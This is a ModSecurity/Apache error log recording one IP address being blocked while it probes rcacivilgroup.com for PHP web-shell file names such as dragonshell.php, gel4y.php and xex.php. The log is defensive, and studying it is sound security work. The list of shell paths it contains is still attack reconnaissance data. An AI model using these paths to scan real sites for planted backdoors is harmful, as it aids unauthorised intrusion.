[Sun Mar 29 02:18:55.816518 2026] [:error] [pid 60346:tid 60357] [client 20.197.233.108:15321] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccu.php"] [unique_id "acgbj3VrXSgLxlxLi9A72gAAAQY"]
[Sun Mar 29 02:18:56.441675 2026] [:error] [pid 60346:tid 60372] [client 20.197.233.108:15337] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccu.php"] [unique_id "acgbkHVrXSgLxlxLi9A73QAAARU"]
[Sun Mar 29 02:18:57.061970 2026] [:error] [pid 39514:tid 39533] [client 20.197.233.108:23049] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "acgbkSkUyvlQod6qQu2k1gAAAMg"]
[Sun Mar 29 02:18:57.692967 2026] [:error] [pid 39429:tid 39492] [client 20.197.233.108:15344] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "acgbkU8pSj6sqgZaItnmBQAAAIY"]
[Sun Mar 29 02:18:58.314509 2026] [:error] [pid 60346:tid 60355] [client 20.197.233.108:23363] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "acgbknVrXSgLxlxLi9A75QAAAQQ"]
[Sun Mar 29 02:18:58.939651 2026] [:error] [pid 60346:tid 60361] [client 20.197.233.108:15311] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "acgbknVrXSgLxlxLi9A75wAAAQo"]
[Sun Mar 29 02:18:59.560145 2026] [:error] [pid 60346:tid 60369] [client 20.197.233.108:15304] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/north1.php"] [unique_id "acgbk3VrXSgLxlxLi9A76QAAARI"]
[Sun Mar 29 02:19:00.185938 2026] [:error] [pid 39428:tid 39469] [client 20.197.233.108:22968] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/north1.php"] [unique_id "acgblKXMrozFMIaP8nIDSwAAAEo"]
[Sun Mar 29 02:19:00.804195 2026] [:error] [pid 60346:tid 60351] [client 20.197.233.108:22961] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/north1.php"] [unique_id "acgblHVrXSgLxlxLi9A76wAAAQA"]
[Sun Mar 29 02:19:01.422866 2026] [:error] [pid 39428:tid 39463] [client 20.197.233.108:15323] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/north1.php"] [unique_id "acgblaXMrozFMIaP8nIDTAAAAEQ"]
[Sun Mar 29 02:19:02.048089 2026] [:error] [pid 39429:tid 39490] [client 20.197.233.108:22913] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dragonshell.php"] [unique_id "acgblk8pSj6sqgZaItnmCwAAAIQ"]
[Sun Mar 29 02:19:02.664975 2026] [:error] [pid 39427:tid 39433] [client 20.197.233.108:23373] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dragonshell.php"] [unique_id "acgbllvLf0RDUqcYq-ZPsQAAAAE"]
[Sun Mar 29 02:19:03.284478 2026] [:error] [pid 39427:tid 39434] [client 20.197.233.108:23385] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dragonshell.php"] [unique_id "acgbl1vLf0RDUqcYq-ZPsgAAAAI"]
[Sun Mar 29 02:19:03.901547 2026] [:error] [pid 39428:tid 39478] [client 20.197.233.108:23061] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dragonshell.php"] [unique_id "acgbl6XMrozFMIaP8nIDTgAAAFM"]
[Sun Mar 29 02:19:04.527936 2026] [:error] [pid 39428:tid 39476] [client 20.197.233.108:23241] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "acgbmKXMrozFMIaP8nIDUgAAAFE"]
[Sun Mar 29 02:19:05.143857 2026] [:error] [pid 39428:tid 39467] [client 20.197.233.108:15336] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "acgbmaXMrozFMIaP8nIDVQAAAEg"]
[Sun Mar 29 02:19:05.763617 2026] [:error] [pid 39429:tid 39504] [client 20.197.233.108:15303] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "acgbmU8pSj6sqgZaItnmDQAAAJI"]
[Sun Mar 29 02:19:06.386913 2026] [:error] [pid 60346:tid 60363] [client 20.197.233.108:22930] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "acgbmnVrXSgLxlxLi9A7-AAAAQw"]
[Sun Mar 29 02:19:07.010000 2026] [:error] [pid 39429:tid 39499] [client 20.197.233.108:22965] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/caiij.php"] [unique_id "acgbm08pSj6sqgZaItnmDwAAAI0"]
[Sun Mar 29 02:19:07.626620 2026] [:error] [pid 39514:tid 39547] [client 20.197.233.108:15325] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/caiij.php"] [unique_id "acgbmykUyvlQod6qQu2k4AAAANY"]
[Sun Mar 29 02:19:08.253340 2026] [:error] [pid 60346:tid 60370] [client 20.197.233.108:23388] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/caiij.php"] [unique_id "acgbnHVrXSgLxlxLi9A8BAAAARM"]
[Sun Mar 29 02:19:08.887042 2026] [:error] [pid 39514:tid 39541] [client 20.197.233.108:15315] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/caiij.php"] [unique_id "acgbnCkUyvlQod6qQu2k4wAAANA"]
[Sun Mar 29 02:19:09.506297 2026] [:error] [pid 60346:tid 60364] [client 20.197.233.108:15334] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gel4y.php"] [unique_id "acgbnXVrXSgLxlxLi9A8CQAAAQ0"]
[Sun Mar 29 02:19:10.129835 2026] [:error] [pid 60346:tid 60361] [client 20.197.233.108:15299] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gel4y.php"] [unique_id "acgbnnVrXSgLxlxLi9A8CwAAAQo"]
[Sun Mar 29 02:19:10.761145 2026] [:error] [pid 60346:tid 60357] [client 20.197.233.108:23394] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gel4y.php"] [unique_id "acgbnnVrXSgLxlxLi9A8DwAAAQY"]
[Sun Mar 29 02:19:11.387294 2026] [:error] [pid 60346:tid 60374] [client 20.197.233.108:15341] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gel4y.php"] [unique_id "acgbn3VrXSgLxlxLi9A8EgAAARc"]
[Sun Mar 29 02:19:12.006136 2026] [:error] [pid 60346:tid 60368] [client 20.197.233.108:15329] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uxijj.php"] [unique_id "acgboHVrXSgLxlxLi9A8FAAAARE"]
[Sun Mar 29 02:19:12.624800 2026] [:error] [pid 60346:tid 60371] [client 20.197.233.108:22969] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uxijj.php"] [unique_id "acgboHVrXSgLxlxLi9A8GAAAARQ"]
[Sun Mar 29 02:19:13.249643 2026] [:error] [pid 39427:tid 39454] [client 20.197.233.108:23376] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uxijj.php"] [unique_id "acgboVvLf0RDUqcYq-ZPuAAAABY"]
[Sun Mar 29 02:19:13.868197 2026] [:error] [pid 39429:tid 39492] [client 20.197.233.108:15327] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uxijj.php"] [unique_id "acgboU8pSj6sqgZaItnmEwAAAIY"]
[Sun Mar 29 02:19:14.486219 2026] [:error] [pid 39428:tid 39460] [client 20.197.233.108:15309] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rkiea.php"] [unique_id "acgboqXMrozFMIaP8nIDXwAAAEE"]
[Sun Mar 29 02:19:15.103197 2026] [:error] [pid 60346:tid 60371] [client 20.197.233.108:22953] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rkiea.php"] [unique_id "acgbo3VrXSgLxlxLi9A8HQAAARQ"]
[Sun Mar 29 02:19:15.722351 2026] [:error] [pid 39429:tid 39503] [client 20.197.233.108:23366] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rkiea.php"] [unique_id "acgbo08pSj6sqgZaItnmFgAAAJE"]
[Sun Mar 29 02:19:16.361964 2026] [:error] [pid 39514:tid 39527] [client 20.197.233.108:23368] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rkiea.php"] [unique_id "acgbpCkUyvlQod6qQu2k5gAAAMI"]
[Sun Mar 29 02:19:16.982803 2026] [:error] [pid 39429:tid 39504] [client 20.197.233.108:23375] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/resp.php"] [unique_id "acgbpE8pSj6sqgZaItnmGgAAAJI"]
[Sun Mar 29 02:19:17.599664 2026] [:error] [pid 39428:tid 39459] [client 20.197.233.108:22931] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/resp.php"] [unique_id "acgbpaXMrozFMIaP8nIDYQAAAEA"]
[Sun Mar 29 02:19:18.219139 2026] [:error] [pid 39514:tid 39543] [client 20.197.233.108:22970] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/resp.php"] [unique_id "acgbpikUyvlQod6qQu2k6gAAANI"]
[Sun Mar 29 02:19:18.840678 2026] [:error] [pid 39427:tid 39435] [client 20.197.233.108:23323] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/resp.php"] [unique_id "acgbplvLf0RDUqcYq-ZPvAAAAAM"]
[Sun Mar 29 02:19:19.458801 2026] [:error] [pid 39427:tid 39434] [client 20.197.233.108:23370] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lanou.php"] [unique_id "acgbp1vLf0RDUqcYq-ZPvQAAAAI"]
[Sun Mar 29 02:19:20.078010 2026] [:error] [pid 39514:tid 39540] [client 20.197.233.108:23386] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lanou.php"] [unique_id "acgbqCkUyvlQod6qQu2k7AAAAM8"]
[Sun Mar 29 02:19:20.711138 2026] [:error] [pid 39429:tid 39493] [client 20.197.233.108:23362] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lanou.php"] [unique_id "acgbqE8pSj6sqgZaItnmHwAAAIc"]
[Sun Mar 29 02:19:21.327288 2026] [:error] [pid 39429:tid 39487] [client 20.197.233.108:23370] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lanou.php"] [unique_id "acgbqU8pSj6sqgZaItnmIAAAAIE"]
[Sun Mar 29 02:19:21.944677 2026] [:error] [pid 39428:tid 39462] [client 20.197.233.108:23389] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eursi.php"] [unique_id "acgbqaXMrozFMIaP8nIDZwAAAEM"]
[Sun Mar 29 02:19:22.574449 2026] [:error] [pid 60346:tid 60364] [client 20.197.233.108:15345] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eursi.php"] [unique_id "acgbqnVrXSgLxlxLi9A8IQAAAQ0"]
[Sun Mar 29 02:19:23.192623 2026] [:error] [pid 60346:tid 60367] [client 20.197.233.108:15349] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eursi.php"] [unique_id "acgbq3VrXSgLxlxLi9A8IgAAARA"]
[Sun Mar 29 02:19:23.809383 2026] [:error] [pid 39427:tid 39440] [client 20.197.233.108:15340] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eursi.php"] [unique_id "acgbq1vLf0RDUqcYq-ZPxgAAAAg"]
[Sun Mar 29 02:19:24.451033 2026] [:error] [pid 60346:tid 60375] [client 20.197.233.108:15347] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pas2.php"] [unique_id "acgbrHVrXSgLxlxLi9A8KgAAARg"]
[Sun Mar 29 02:19:25.083440 2026] [:error] [pid 60346:tid 60365] [client 20.197.233.108:22962] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pas2.php"] [unique_id "acgbrXVrXSgLxlxLi9A8KwAAAQ4"]
[Sun Mar 29 02:19:25.702108 2026] [:error] [pid 39428:tid 39460] [client 20.197.233.108:22943] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pas2.php"] [unique_id "acgbraXMrozFMIaP8nIDawAAAEE"]
[Sun Mar 29 02:19:26.322287 2026] [:error] [pid 39428:tid 39459] [client 20.197.233.108:15306] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pas2.php"] [unique_id "acgbrqXMrozFMIaP8nIDbQAAAEA"]
[Sun Mar 29 02:19:26.948072 2026] [:error] [pid 39514:tid 39547] [client 20.197.233.108:15300] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/schal.php"] [unique_id "acgbrikUyvlQod6qQu2k7QAAANY"]
[Sun Mar 29 02:19:27.567989 2026] [:error] [pid 60346:tid 60371] [client 20.197.233.108:23311] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/schal.php"] [unique_id "acgbr3VrXSgLxlxLi9A8MQAAARQ"]
[Sun Mar 29 02:19:28.187559 2026] [:error] [pid 60346:tid 60372] [client 20.197.233.108:15333] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/schal.php"] [unique_id "acgbsHVrXSgLxlxLi9A8MwAAARU"]
[Sun Mar 29 02:19:28.806266 2026] [:error] [pid 39427:tid 39450] [client 20.197.233.108:15353] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/schal.php"] [unique_id "acgbsFvLf0RDUqcYq-ZPygAAABI"]
[Sun Mar 29 02:19:29.425311 2026] [:error] [pid 39427:tid 39452] [client 20.197.233.108:23073] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xex.php"] [unique_id "acgbsVvLf0RDUqcYq-ZPzAAAABQ"]
[Sun Mar 29 02:19:30.052850 2026] [:error] [pid 60346:tid 60359] [client 20.197.233.108:15316] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xex.php"] [unique_id "acgbsnVrXSgLxlxLi9A8OAAAAQg"]
